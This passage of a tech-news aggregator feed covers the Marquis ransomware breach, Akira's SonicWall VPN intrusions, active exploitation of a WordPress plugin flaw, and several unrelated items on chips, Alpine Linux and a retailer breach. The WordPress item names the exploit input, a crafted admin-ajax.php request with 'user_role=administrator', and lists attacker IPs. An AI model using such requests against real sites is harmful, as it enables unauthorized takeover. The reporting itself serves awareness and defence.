    First Community Credit Union First Northern Bank of Dixon Florida Credit Union
    Fort Community Credit Union Founders Federal Credit Union Freedom of Maryland Federal Credit Union
    Gateway First Bank Generations Federal Credit Union Gesa Credit Union
    Glendale Federal Credit Union Hope Federal Credit Union IBERIABANK n/k/a First Horizon Bank
    Industrial Federal Credit Union Interior Federal Interior Federal Credit Union
    Interra Credit Union Jonestown Bank & Trust Co. Kemba Financial Credit Union
    Liberty First Credit Union Maine State Credit Union Market USA FCU
    MemberSource Credit Union Michigan First Credit Union MIT Federal Credit Union
    New Orleans Firemen's Federal Credit Union New Peoples Bank Newburyport Five Cents Savings Bank
    NIH Federal Credit Union Pasadena Federal Credit Union Pathways Financial Credit Union
    Peake Federal Credit Union Pelican Credit Union Pentucket Bank
    PFCU Credit Union QNB Bank Security Credit Union
    Seneca Savings ServU Credit Union StonehamBank Cooperative
    Suncoast Credit Union Texoma Community Credit Union Thomaston Savings Bank
    Time Bank TowneBank Ulster Savings Bank
    University Credit Union Valley Strong Credit Union Westerra Credit Union
    Whitefish Credit Union Zing Credit Union

    At this time, Marquis says that there is no evidence that data has been misused or published anywhere.

    However, as previously reported by Comparitech , a now-deleted filing by Community 1st credit union claimed that Marquis paid a ransomm, which is done to prevent the leaking and abuse of stolen data.

    "Marquis paid a ransomware shortly after 08/14/25. On 10/27/25 C1st was notified that nonpublic personal information related to C1st members was included in the Marquis breach," reads the deleted notification seen by Comparitech.

    While the company's data breach notifications state only that it has "taken steps to reduce the risk of this type of incident," a filing by CoVantage Credit Union with the New Hampshire AG shares further details about how the company is increasing security.

    This notification states that Marquis has now enhanced its security controls by doing the following:

    • Ensuring that all firewall devices are fully patched and up to date,
    • Rotating passwords for local accounts,
    • Deleting old or unused accounts,
    • Ensuring that multi-factor authentication is enabled for all firewall and virtual private network ("VPN") accounts,
    • Increasing logging retention for firewall devices, (
    • Applying account lock-out policies at the VPN for too many failed logins,
    • Applying geo-IP filtering to only allow connections from specific countries needed for business operations, and
    • Applying policies to automatically block connections to/from known Botnet Command and Control servers at the firewall.

    These steps indicate that the threat actors likely gained access to the company network through a SonicWall VPN account, a known tactic used by some ransomware gangs, especially Akira ransomware.

    Targeting SonicWall firewalls

    While Marquis has not shared any further details about the ransomware attack, the Akira ransomware gang has been targeting SonicWall firewalls to gain initial access to corporate networks since at least early September 2024.

    Akira started breaching SonicWall SSL VPN devices in 2024 by exploiting the CVE-2024-40766 vulnerability , which allowed attackers to steal VPN usernames, passwords, and seeds to generate one-time passcodes.

    Even after SonicWall patched the bug, many organizations didn't properly reset their VPN credentials, allowing Akira to continue breaching patched devices with previously stolen credentials.

    A recent report shows the group is still signing in to SonicWall VPN accounts even when MFA is enabled , suggesting the attackers stole OTP seeds during the earlier exploitation.

    Once Akira gets in through the VPN, they move quickly to scan the network, perform reconnaissance, gain elevated privileges in the Windows Active Directory, and steal data before deploying ransomware.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    Greeting Vocalizations in Domestic Cats Are More Frequent with Male Caregivers

    Hacker News
    onlinelibrary.wiley.com
    2025-12-03 21:56:37
    Comments...

    Nick Heer Obtained Video of Alan Dye’s Exit From Apple

    Daring Fireball
    pxlnv.com
    2025-12-03 21:43:50
    That doesn’t look like one of the fancy Mitsubishi traction elevators at Apple Park, but otherwise, this jibes.  ★  ...
    Original Article

    Video of Alan Dye’s Exit youtube.com

    I have obtained exclusive footage of Alan Dye leaving Apple Park after overseeing visual interface design updates across Apple’s operating systems.

    Critical flaw in WordPress add-on for Elementor exploited in attacks

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 21:31:20
    Attackers are exploiting a critical-severity privilege escalation vulnerability (CVE-2025-8489) in the King Addons for Elementor plugin for WordPress, which lets them obtain administrative permissions during the registration process. [...]...
    Original Article

    Critical flaw in WordPress add-on for Elementor exploited in attacks

    Attackers are exploiting a critical-severity privilege escalation vulnerability (CVE-2025–8489) in the King Addons for Elementor plugin for WordPress, which lets them obtain administrative permissions during the registration process.

    The threat activity started on October 31, just a day after the issue was publicly disclosed. So far, the Wordfence security scanner from Defiant, a company that provides security services for WordPress websites, has blocked more than 48,400 exploit attempts.

    King Addons is a third-party add-on for Elementor, a popular visual page builder plugin for WordPress sites. It is used on roughly 10,000 websites, providing additional widgets, templates, and features.

    CVE-2025–8489, discovered by researcher Peter Thaleikis, is a flaw in the plugin’s registration handler that allows anyone signing up to specify their user role on the website, including the administrator role, without enforcing any restrictions.

    According to observations from Wordfence , attackers send a crafted ‘ admin-ajax.php ’ request specifying ‘ user_role=administrator ,’ to create rogue admin accounts on targeted sites.

    Malicious request
    Malicious request
    Source: Wordfence

    The researchers noticed a peak in the exploitation activity between November 9 and 10, with two IP addresses being the most active: 45.61.157.120 (28,900 attempts) and 2602:fa59:3:424::1 (16,900 attempts).

    Wordfence provides a more extensive list of offensive IP addresses and recommends that website administrators look for them in the log files. The presence of new administrator accounts is also a clear sign of compromise.

    Website owners are advised to upgrade to version 51.1.35 of King Addons, which addresses CVE-2025–8489, released on September 25.

    Wordfence researchers are also warning of another critical vulnerability in the Advanced Custom Fields: Extended plugin, active on more than 100,000 WordPress websites, which can be exploited by an unauthenticated attacker to execute code remotely.

    The flaw affects versions 0.9.0.5 through 0.9.1.1 of the plugin and is currently tracked as CVE-2025-13486. It was discovered and reported responsibly by Marcin Dudek , the head of the national computer emergency response team (CERT) in Poland.

    The vulnerability is "due to the function accepting user input and then passing that through call_user_func_array(),” Wordfence explains .

    “This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.”

    The security issue was reported on November 18, and the plugin vendor addressed it in version 0.9.2 of Advanced Custom Fields: Extended, released a day after receiving the vulnerability report.

    Given that the flaw can be leveraged without authentication only through a crafted request, the public disclosure of technical details is likely to generate malicious activity.

    Website owners are advised to move to the latest version as soon as possible or disable the plugin on their sites.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    8086 Microcode Browser

    Hacker News
    nand2mario.github.io
    2025-12-03 21:16:11
    Comments...
    Original Article

    Since releasing 486Tang , I’ve been working on recreating the 8086 with a design that stays as faithful as possible to the original chip. That exploration naturally led me deep into the original 8086 microcode — extracted and disassembled by Andrew Jenner in 2020.

    Like all microcoded CPUs, the 8086 hides a lot of subtle behavior below the assembly layer. While studying it I kept extensive notes, and those eventually evolved into something more useful: an interactive browser for the entire 8086 microcode ROM.

    So here it is: the online 8086 microcode browser . Every 21-bit micro-instruction is decoded into readable fields. Hover over any field and you’ll get a tooltip explaining what it does. All jump targets are clickable — the 8086 μcode uses a surprising number of indirect jumps, calls, and short branches.

    One handy feature is Browse by Instruction . Click the button and you’ll get a list of ~300 documented 8086 instructions. Select any one, and the viewer jumps directly to its μcode entry point. Internally there are only about 60 unique μcode entry routines, and this feature makes navigating them effortless.


    A few fun tidbits about 8086 μcode

    1. Register IDs change meaning depending on context. For example, 10100 refers to SIGMA (the ALU result) when used as a source, but to tmpaL (the low 8 bits of a temporary ALU register) when used as a destination.

    2. N and R are the same physical register. Meanwhile, SI is called IJ internally — naming inside the chip is extremely inconsistent and reflects its evolutionary design process.

    3. IP (PC) does not point to the next instruction. It actually points to the next prefetch address. The μcode uses a dedicated micro-operation called CORR to rewind IP back to the true next-instruction boundary when handling branches and interrupts.

    4. Almost all arithmetic instructions share the same 4 μinstructions ( 008–00B ). The heavy lifting is done by a single micro-operation named XI , which performs different arithmetic behaviors depending on opcode or ModRM bits. The amount of reuse here is elegant — and very 1978 Intel.

    Chips for the Rest of Us

    Hacker News
    engineering.nyu.edu
    2025-12-03 20:57:02
    Comments...
    Original Article

    Chips for the Rest of Us

    Tandon researchers are putting the power of chip design into more hands with open-source tools, AI-assisted development, and applied teaching.

    Once a week, in NYU’s engineering classrooms, an eclectic mix of chemistry, computer science, and medical students gather together to learn how to design their very own microchips.

    Microchips are the brains behind everyday electronic devices such as phones, computers, and home appliances—each one containing billions of components that perform complex computations at lightning speed. Specialized microchips offer even more. These custom-made chips can accelerate scientific simulations in chemistry, biology, and materials science, and advance machine learning and AI.

    Designing these custom-application chips hasn’t been for everyone though—traditionally, it’s been a task for highly trained engineers. Also, the high cost of proprietary design tools and intellectual property licenses has made the process of chip design largely inaccessible to small start-up companies and academic researchers—let alone students. And chip design is hard: It can take nearly a thousand engineers to build a complex chip like a GPU.

    “The chip design cycle is also probably one of the most complicated engineering processes that exists in the world,” said Institute Professor Siddharth Garg (ECE). “There’s a saying that rocket science is hard, but chip design is harder.”

    A few years ago, Garg, along with colleagues at NYU, recognized the need to “democratize chip design” and make it more accessible to nonspecialists. The researchers started by using AI tools to simplify each step of the process—from ideation to silicon. Simultaneously, they made these tools open-source, so anyone could access them freely. Finally, in 2025, they’ve realized the third component of the democratization process: providing courses to educate professionals and students in how to design their own microchips. One such course, Chips4All, is designed to teach microchip design to NYU’s graduate students.

    “The chip design cycle is probably one of the most complicated engineering processes that exists in the world.”

    “It takes insider knowledge and a deep understanding of a field to build a microchip for use in chemistry, robotics, or computer vision,” said Assistant Professor Austin Rovinski (ECE), who is involved in Chips4All. The objective of the program is to make it easy for nonengineering graduate students to learn the basics of chip design, so they can channel the expert knowledge of their fields into the creation of specialized microchips.

    Siddharth Garg

    Siddharth Garg

    “Our goal is that, within the next five years, a variety of non-engineering researchers will be attracted to chip design,” Garg said. “And we’ll see a proliferation of custom chip designs across the disciplines.”

    When constraints feed creativity

    In 1965, Intel co-founder Gordon Moore predicted that the number of transistors on a microchip would double approximately every two years, leading to an increase in computing power and a decrease in cost. This principle, known as Moore’s Law, has played out for nearly 60 years: Chips have become more powerful at an exponential rate and have driven the development of a range of innovations from personal computers and smartphones to sophisticated AI systems.

    “But what we see today is that exponential trend is substantially slowing down,” Rovinski said. In previous decades, engineers were able to continue making smaller, even atomicscale, circuits to create more powerful microchips, but now they’re brushing up against the limits of physics. “That means to make further improvements we have to look at more than just the technology advances,” he said.

    To explain, Rovinski suggests considering the analogy of building a house. If the quality of bricks keeps improving year after year, construction workers can continue to build better houses, without changing anything else. But what if the quality of bricks stops improving? Does that mean houses can no longer improve? Not at all, Rovinski said. That’s when architects can step in with better designs to create more robust and energy efficient homes.

    It’s a similar story with chip design. To keep increasing chip performance, instead of fitting as many transistors as possible onto a chip, the focus should be on designing better chips. It’s particularly important to have experts from different fields learn how to design chips, Rovinski said. “The most efficient and the best computer chips for these tasks come from deep knowledge of how that domain actually works,” Rovinski said.

    In particular, it takes domain-level expertise to design, chips tailored for specific tasks. These custom chips have applications in research and industry in a range of fields from AI and cryptography to medicine and biophysics. Once integrated, they can achieve performance improvements of up to 1,000 times for their specific functions.

    "To keep increasing chip performance, instead of fitting as many transistors as possible onto a chip, the focus should be on designing better chips.”

    Consequently, the NYU researchers’ goal is to make chip design more accessible, so nonengineers, whatever their background can create their own custom-made chips. Researchers have already seen the scenario play out in the space of computer software. Once everyone had access to personal computers there followed an explosion of apps, software solutions and start-up companies. The team’s goal is to create the equivalent accessibility in the chip design space and keep the innovations rolling. “The more smart people we have designing chips, the more people we have coming up with creative solutions,” Rovinski said.

    Austin Rovinski

    Austin Rovinski

    The challenge is that chip design has traditionally been complicated, time-consuming, and expensive. Only highly trained experts have been able to design chips, and they are in short supply. The CHIPS and Science Act, signed in August 2022, aims to address this critical talent gap. The act has provided $39 billion for manufacturing incentives and $13.2 billion for research and development and workforce development. “With the CHIPS Act signaling a real investment in this area at the same time AI enters a new phase of mass accessibility; there’s so much potential,” Garg said.

    From Prompts to Prototypes

    Garg completed his doctoral degree, which investigated aspects of chip design, in 2009, but he then branched out into other research areas such as cybersecurity. The U.S. research community had little interest in creating more powerful chips at the time because it was generally believed they had all the compute power they needed, Garg said.

    Then came the AI revolution. Not only did it spark more interest in creating more advanced chips to power the technology, but it presented a potential solution to what had previously been seen as an intractable problem: How to enable non-hardware experts to design chips. “Right now, chip design is considered a very obscure, difficult to acquire skill,” Garg said. “The problem we wanted to explore was how to simplify this incredibly complex, painful and cumbersome process.”

    Garg and his colleagues began to investigate a radical idea: designing a chip by talking to an AI chatbot.

    That was the promise behind Chip Chat, a tool developed by Garg, Hammond Pearce , Professor Ramesh Karri (ECE, CATT, CCS), and other NYU researchers. It leveraged large language models (LLMs) like GPT-4 to translate natural language into Verilog—the specialized code used to describe the digital circuits and systems that define chip architectures. Rather than learning to write this complex hardware description language (HDL) from scratch, a user can type something like: “I need a chip that adds two 16-bit numbers and uses less than two watts of power.” The model then responded with functional code, which was refined through further prompts.

    “You could literally speak out what you wanted your chip to do, and the tool took care of everything in the back end,” Garg said. Chip Chat drastically reduced the need for advanced technical skills typically required to write HDL, transforming a complex, months-long endeavor into something achievable in a matter of weeks. In 2023, the team used Chip Chat to design a working chip, QTcore-C1, which was fabricated via the open-source platform Efabless. It was the first microchip designed through a backand-forth conversation with a language model.

    Chip Chat sparked a movement of exploring how to integrate LLMs in every stage of the chip development pipeline. While early tools focused on generating code from prompts, new research tackles turning that code into physical blueprints for manufacturing and then assessing different prototypes before the final step of turning the design into silicon.

    “You could literally speak out what you wanted your chip to do, and the tool took care of everything in the back end.”

    Rovinski, in collaboration with researchers at Arizona State University, has been exploring the use of AI to assist with translating Verilog language into a physical chip and speeding up the design process. Instead of getting an implementation error that a designer doesn’t necessarily understand, the researchers have created an AI tool that will help explain the problem and then interpret plain English instructions into refinements to the original design.

    Brandon Reagen

    Brandon Reagen

    Assistant Professor Brandon Reagen (ECE, CSE, CCS, and CATT) has helped create a tool that can be used simultaneously with Rovinski’s. Reagen’s statistically based model takes an original design and creates thousands of possible hardware models, scoring each implementation on attributes such as how fast it runs, area, power and energy use. “The tool will explore thousands of designs automatically overnight for you,” Reagen said. “So, you just wake up and pick the one that makes best sense for your constraints and you’re good to go.”

    Such tools have dramatically reduced the number of human hours and the depth of technical knowledge needed to move from concept to prototype. And the team continues to improve on each step of the pipeline. One challenge to the original Chip Chat program was the scarcity of Verilog code—the programming language that describes how to create a chip—available on the Internet. This meant there were fewer available examples to train the AI models, which proved to limit their performance.

    To address this challenge, Garg and colleagues scoured Verilog code on GitHub and excerpted content from 70 Verilog textbooks to amass the largest AI training dataset of Verilog ever assembled. The team then created VeriGen, the first specialized AI model trained solely to generate Verilog code.

    In tests, VeriGen has outperformed commercial state-of-the-art models and is small enough to run on a laptop. Verilog is also fully opensource allowing researchers everywhere to use, or improve on, the model. “The one thing that would advance the current chip design ecosystem would be to make everything open-source,” Garg said.

    Opening up the field

    Even as a graduate student at the University of Michigan, Rovinski’s mission was to solve some of the foundational issues in chip design. Early on, he identified that several key challenges were related to the closed source, proprietary nature of chip design and implementation software. If researchers wanted to design chips using commercial technology, they had to jump over various legal hurdles and sign legal agreements stating they wouldn’t share details of the software. “There were many roadblocks to trying to innovate or do anything new in the chip design space,” Rovinski said.

    Recognizing the challenges in the chip design space, the Defense Advanced Research Projects Agency (DARPA), put out a call asking for proposals on potential solutions. A team of engineers, led by computer scientist Andrew Kahng, and including Rovinski, came up with an idea: providing open-source software for chip design and implementation. “We knew that it wouldn’t necessarily be as good as proprietary software, but it would be free in terms of cost and restrictions of use,” Rovinski said.

    To design chips using commercial technology, researchers would have to jump over various legal hurdles.

    To design chips using commercial technology, researchers would have to jump over various legal hurdles.

    In 2018, with DARPA funding, the team launched OpenROAD (Foundations and Realization of Open, Accessible Design). In OpenROAD, the team created open-source electronic design automation software which helps academic researchers, industrial professionals, students and educators in the entire process of designing a digital integrated circuit down to creating the “layout masks” that are used for manufacturing the chip. The project aims to automate the entire chip design process, from design to layout, without the need for human intervention.

    Developing OpenROAD proved a multi-year effort, “But fast forward to today and we have thousands of people across the world— from small companies and large companies, academics, students, and hobbyists—who use the software to implement their chip designs,” Rovinski said.

    Many people download the software simply to learn more chip design and explore their designs, as there is zero cost to use it, Rovinski said. Rovinski’s early vision was to make chip design more accessible and create an ecosystem that made it easier for users to communicate and collaborate. When he joined NYU in 2023, he realized that his colleagues shared that same vision. Rovinski continues to use OpenROAD in his research and to explore how make the chip design process more accessible to researchers and students who aren’t specialists in electronic engineering. He’s also fully engaged in the third leg of the “democratizing chip design” stool: education.

    Crafting a “Chips for All” world

    The democratization of chip design isn’t just about advancing tools and technology; it’s about redefining who gets to use them. For decades, only a relatively small number of highly trained electrical engineers had the expertise to design chips, and the scarcity of these specialist engineers created a bottleneck as demand for chips soared.

    Addressing this talent gap is crucial for maintaining the pace of innovation, Garg said. Consequently, at NYU, Garg and his colleagues have taken a multi-pronged approach to education and outreach, aiming to make chip design understandable and achievable for a much broader audience, even for those without a traditional STEM background.

    One such program is BASICS (Bridge to Application Specific Integrated Circuits), a 28-week self-paced course aimed at nonSTEM professionals who want to learn the fundamentals of chip design, so that they can pivot into emerging technological careers. Participants are trained to design their own custom-made chip and test their designs to create a functional chip: The BASICs capstone project entails a two-week “chip fabrication sprint” where participants design their own ASICs and submit their designs to the platform TinyTapeout for fabrication.

    A parallel effort is Chips4All, which targets graduate students in science and technology. The five-year Chips4All’s approach is collaborative: each team consists of a domain expert and a hardware designer who crosstrain by taking each other’s courses. Students work together on a capstone project to prototype ASICs to perform tasks in areas such as genome sequencing or robotics. “We have this ‘meet in the middle’ approach by pairing them up and we are hoping to get some really innovative developments out of it,” Rovinski said.

    At NYU, the education component of chip design extends beyond specialized courses. NYU is also building a Silicon Makerspace where students, faculty and staff can get access to chip design tools and fabrication resources. “It will be like a one-stop shop for people who want to access the tools, fabricate chips and test them,” Garg said.

    The team is also revamping traditional electronics engineering classes, such as the digital circuit design classes, to place more emphasis on the bigger picture of chip design, rather than the minutiae of chip hardware. Rovinski challenges his students to take a high-level approach to the problems they are trying to address: “What are the societal level issues? What are the constraints of your problem in terms of time, money, resources, and people?” he’ll ask.

    Only after defining goals and constraints and assessing whether they have an economically and societally sound idea, do Rovinski’s students dive into design. The results have been promising: One team designed an ultra-low-power chip for glucose monitoring to enable a longer battery life and fewer replacements of glucose monitors for diabetics patients. Another created ultra-low power soil quality sensors, which could be used in agriculture to inform farmers how much fertilizer or water, a particular area of the farm needs. “It was a huge success,” Rovinski said. “The students were coming up with technologically innovative and creative solutions.”

    Necessity has driven the need to democratize chip design and technological breakthroughs in AI and open-source tools have fueled the movement. Now, the researchers hope that a concerted effort to educate and inspire a new, diverse generation of designers will sustain momentum. In the coming years, the team’s vision is to create an ecosystem where chip design becomes as accessible and iterative as software development, where individuals can move from a “back of the envelope” idea to a loose prototype and then to fabrication with speed and ease.

    In the coming years, the team’s vision is to create an ecosystem where chip design becomes as accessible and iterative as software development.

    It’s a mission that aligns with national strategic goals, such as those outlined in the CHIPS Act, by aiming to foster a robust and diverse semiconductor talent pool. In the next five years, Garg hopes to see students from all over the campus attracted to chip design as a profession and the chip design adopted as common practice across different scientific sectors.

    The democratization of chip design will help researchers and industry professions move toward a future where chips are not just commodities, but highly customized, efficient solutions that power breakthroughs in fields from medicine to robotics. Currently, it takes from a dozen to a few hundred engineers two to three years to design a new state-of-the-art chip. The ideal scenario is one where a single engineer pushes a button and the whole chip is made within a week, Rovinski said.

    Obviously that’s still a stretch, Rovinski said. “But any innovations, new technologies and steps along the way, will mean the amount of problems we can solve will dramatically increase.”

    Alpine Linux 3.23.0 Released: apk-tools v3, linux-stable replaces linux-edge

    Lobsters
    alpinelinux.org
    2025-12-03 20:55:36
    Comments...
    Original Article

    We are pleased to announce the release of Alpine Linux 3.23.0, the first release in the v3.23 stable series.

    Highlights

    Significant changes

    apk-tools v3

    Version 3 of apk is now ready for Alpine v3.23.0. This should be a safe and seamless upgrade from v2, but might have breaking changes if you use libapk . The package manager has been upgraded to v3, but keeping the v2 index and package format for now.

    See apk-tools v3.0.0 release notes for more details.

    linux-stable replaces linux-edge

    linux-stable replaces linux-edge with an identical configuration as linux-lts while following stable instead of long-term releases. On systems with linux-edge installed, apk automatically installs linux-stable as a replacement.

    See the wiki for details about this release.

    Upgrade notes

    As always, make sure to use apk upgrade --available when switching between major versions.

    We previously announced that 3.23 would be /usr-merged, but due to technical challenges this has been postponed to a later release. A new timeline will be published later.

    Users with / and /usr on separate filesystems (which is unsupported) will still need to take special care. See the wiki for details .

    Changes

    The full list of changes can be found in the wiki , the git log and the bug tracker .

    Credits

    Thanks to everyone sending patches, bug reports, new and updated aports, and to everyone helping with documentation, maintaining the infrastructure, or contributing in any other way!

    Thanks to GIGABYTE , Linode , Fastly , IBM , Equinix Metal , vpsFree , AlpineLinuxSupport.com , CloudOn , Osso B.V. , HorizonIQ , Cherry Servers and NetMountains for providing us with hardware and hosting.

    aports Commit Contributors

    Achill Gilgenast
    Adam Jensen
    adamthiede
    aerodomigue
    Akihiro Suda
    Alex Denes
    Alex McGrath
    Alex Xu (Hello71)
    Alexander Edland
    Alexandre Marquet
    Alexey Yerin
    Alice R
    Alistair Francis
    Amelia Clarke
    André Klitzing
    Andrej Kolčin
    Andres Almiray
    Andrew Hills
    Andrew Palardy
    Andrij Abyzov
    Andy Hawkins
    Andy Postnikov
    Angelo Verlain
    Angelo Verlain Shema
    Anjandev Momi
    Antoine Martin
    Antoni Aloy Torrens
    Antonio Mihăeș
    Apo Apangona
    Ariadne Conill
    Arnav Singh
    Arne de Bruijn
    Arne Schoonvliet
    Aster Boese
    avinesh2101
    ayakael
    Barnabás Czémán
    Bart Ribbers
    bin456789
    Biswapriyo Nath
    bj8sk
    Bradford D. Boyle
    Bradley Perkins
    Bryce Vandegrift
    bytesharky
    Callum Andrew
    Carlo Landmeter
    Celeste
    Chad Dougherty
    Channing Bellamy
    Charadon
    Christian Dupuis
    Christiano Haesbaert
    Christoph Heiss
    chwoa
    Clayton Craft
    Coco Liliace
    Conrad Hoffmann
    Cormac Stephenson
    CorruptedVor
    cos
    cow
    Cow
    Craig Andrews
    crapStone
    dabao1955
    Daniel Aloor
    Daniel Black
    Daniel Hejduk
    Daniel Markstedt
    Daniel Néri
    Daniel Simko
    Dario Caroprese
    David Florness
    David Heidelberg
    David Sugar
    Dennis Krupenik
    DerLinkman
    Devin Lin
    Dhruvin Gandhi
    Díaz Urbaneja Víctor Diego Alejandro (Sodomon)
    Dominic
    Dominique Martinet
    donoban
    DragonTalk
    Dries Schaumont
    Duncan Bellamy
    DWwanghao
    Dylan Van Assche
    Eeo Jun
    Eisenbahnfan
    Eivind Larsen
    eu
    Fabian Affolter
    Fabricio Silva
    famfo
    Faustin Lammler
    Ferass El Hafidi
    Fiona Klute
    Forza
    Francesco Colista
    François Chavant
    Fredrik Foss-Indrehus
    gabriel
    Galen Abell
    Gavin Williams
    Georg Lehner
    Gil Pedersen
    Glenn Strauss
    Guido Günther
    Guy Godfroy
    Gyorgy Szing
    Haelwenn (lanodan) Monnier
    hairyhenderson-bot[bot]
    Hannes Braun
    Hans de Goede
    Henrik Grimler
    Henrik Riomar
    heurist
    Hoang Nguyen
    Holger Jaekel
    Hristiyan Ivanov
    Hugo Osvaldo Barrera
    Integral
    Iskren Chernev
    Ivan Popovych
    Iztok Fister Jr.
    Iztok Fister, Jr.
    J. Neuschäfer
    j.r
    J0WI
    Jacques Boscq
    jahway603
    Jake Buchholz Göktürk
    Jakob Hauser
    Jakob Meier
    Jakob Probst
    Jakub Jirutka
    James Chen-Smith
    Jan Houstek
    Jan Houštěk
    Jane Rachinger
    Jason Swank
    jb
    Jean-Francois Lessard
    Jean-Louis Fuchs
    Jens Reidel
    Jens Zeilund
    Jesse Mandel
    Jingyun Hua
    Jo Zzsi
    Johannes Müller
    John Anthony
    John Vogel
    Jonas
    Jonathan Schleifer
    Jordan Christiansen
    Joren
    Joshua Murphy
    Jozef Mlich
    juef
    jvoisin
    k8ie
    Kaarle Ritvanen
    Kaspar Schleiser
    Kasper K
    Kate
    Kevin Daudt
    kkflt
    knuxify
    Konstantin Goncharik
    Konstantin Kulikov
    kpcyrd
    Krassy Boykinov
    Krystian Chachuła
    L. E. Segovia
    Lassebq
    László Várady
    Laurent Bercot
    Lauri Tirkkonen
    lazywalker
    Leon Marz
    Leon White
    Leonardo Arena
    leso-kn
    Lindsay Zhou
    Linus Groh
    LN Liberda
    lonjil
    Lovell Fuller
    Luc Bijl
    Luca Weiss
    Lucas Ieks
    Lucidiot
    Luis Henriques
    Lukas Wedeking
    Maarten van Gompel
    macmpi
    Magnus Sandin
    Marco
    Marek Zori
    Maria Lisina
    Marian Buschsieweke
    Markus Göllnitz
    Mate Farkas
    Matt Bell
    Matt Hauck
    Matthias Ahouansou
    Matthieu Baerts (NGI0)
    max1truc
    Maximilian Friedersdorff
    mekyt
    Meng Zhuo
    Michael Pirogov
    Michal Jirků
    Michał Polański
    Mike Crute
    Milan P. Stanić
    Miles Alan
    Mindaugas Vaitiekūnas
    mini-bomba
    minoplhy
    Mintsuki
    mio
    Moritz Haase
    Naomi Rennie-Waldock
    Natanael Copa
    NeYurii
    Nick Østergaard
    Nico Schottelius
    Nicolas Lorin
    NN708
    Noel Kuntze
    Oleg Titov
    Oliver Smith
    Olivia Thiderman
    omni
    Orhun Parmaksız
    ovf
    p_q
    Pablo Correa Gómez
    Paolo Barbolini
    Paolo Cuffiani
    para
    Patrick Gansterer
    Pavel Demin
    Pavel Zakopaylo
    pawciobiel
    pcmagas
    Pedro Lucas Porcellis
    Pepijn de Vos
    Peter Bui
    Peter Mack
    Peter Meiser
    Peter Shkenev
    Peter van Dijk
    Petr Vorel
    pfzetto
    Philip Schlusslicht
    Philipp Arras
    Piero Mantovani La Terza
    Prabu Anand Kalivaradhan
    PRIVATE-TOKEN
    prspkt
    ptrcnull
    Puneeth Chaganti
    qaqland
    Quentin Bornet
    R4SAS
    Rabindra Dhakal
    Rafael Ávila de Espíndola
    Rasmus Thomsen
    RavFX XMR
    Raymond Hackley
    rdbo
    revsuine
    Rob Blanckaert
    Robert Eckelmann
    Robert Mader
    Robin Candau
    Ron Nazarov
    rooyca
    rubicon
    Rudolf Polzer
    Runxi Yu
    Ryan Walklin
    Sacha
    Saijin-Naib
    Sam Day
    Sam Nystrom
    Sam Thursfield
    Samuel Kalbfleisch
    Sascha Brawer
    Sean E. Russell
    Sean McAvoy
    Sebastian Hamann
    Sebastian Meyer
    Sergey Safarov
    Sertonix
    Sicelo A. Mhlongo
    Simon Frankenberger
    Simon Rupf
    Simon Zeni
    Siva Mahadevan
    sivasaipega
    Skyler Mayfield
    sodface
    sodomon2
    Sören Tempel
    srcfn
    sriharsha.arakatavemula
    Stefan Hansson
    Štěpán Pechman
    stephen
    Steve Lam
    streaksu
    strophy
    Struan Robertson
    Sylvain Prat
    techknowlogick
    tetsumaki
    Theo Zanchi
    Thiago Perrotta
    Thomas Aldrian
    Thomas Böhler
    Thomas J Faughnan Jr
    Thomas Kienlen
    Thomas Liske
    Tim Düsterhus
    Timo Teräs
    Timothy Legge
    Topoetry
    Travis Shivers
    Tuan Anh Tran
    Tyrone Buggims
    Val Packett
    Val V
    Vasiliy Doylov
    Victor Mignot
    wen
    Wen Heping
    wener
    Wesley van Tilburg
    Wiktor Kwapisiewicz
    Will Sinatra
    William Desportes
    William Floyd
    Willow Barraco
    Wolfgang Fischer
    xrs
    yabobay
    Yaksh Bariya
    yurenchen
    Z
    Zach DeCook
    Zsolt Vadasz
    

    French DIY retail giant Leroy Merlin discloses a data breach

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 20:52:36
    Leroy Merlin is sending security breach notifications to customers in France, informing them that their personal data was compromised. [...]...
    Original Article

    French DIY retail giant Leroy Merlin discloses a data breach

    French home improvement and gardening retailer Leroy Merlin is notifying customers that their personal info has been compromised in a data breach.

    Leroy Merlin operates in multiple European countries as well as in South Africa and Brazil, employs 165,000 people, and has an annual revenue of $9.9 billion.

    The incident affects only customers in France, according to the notification published on social media by SaxX_ , and exposed the following data types:

    • Full name
    • Phone number
    • Email address
    • Postal address
    • Date of birth
    • Loyalty program-related information

    “A cyberattack recently targeted our information system, and some of your personal data may have leaked outside the company” (machine translated), reads the notification the company sent to affected customers.

    “As soon as the incident was detected, we took all necessary measures to block unauthorized access and contain the incident.”

    Leroy notice
    Leroy Merlin's notice
    Source: @_SaxX_

    The company clarified that the exposed information does not include banking data or online account passwords.

    Also, the notice mentions that the stolen information has not been used in a malicious way, suggesting that it has not been leaked online or leveraged for extortion, but cautioned customers to remain vigilant of unsolicited communications.

    Customers receiving the notification are also provided with information on how to identify phishing messages attempting to impersonate the brand.

    If any anomaly is detected in customer account activity or trouble with redeeming loyalty discounts, customers are asked to report the activity directly to the company.

    BleepingComputer could confirm that the notification is genuine and has reached out to Leroy Merlin to request more details about the breach and how many customers are affected. We have not received a reply by publication time.

    At the time of writing, we did not see any ransomware group claiming the attack.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    Agentic Development Environment by JetBrains

    Hacker News
    air.dev
    2025-12-03 20:47:45
    Comments...

    Checked-size array parameters in C

    Hacker News
    lwn.net
    2025-12-03 20:37:08
    Comments...
    Original Article

    [LWN subscriber-only content]

    There are many possible programmer mistakes that are not caught by the minimal checks specified by the C language; among those is passing an array of the wrong size to a function. A recent attempt to add some safety around array parameters within the crypto layer involved the use of some clever tricks, but it turns out that clever tricks are unnecessary in this case. There is an obscure C feature that can cause this checking to happen, and it is already in use in a few places within the kernel.

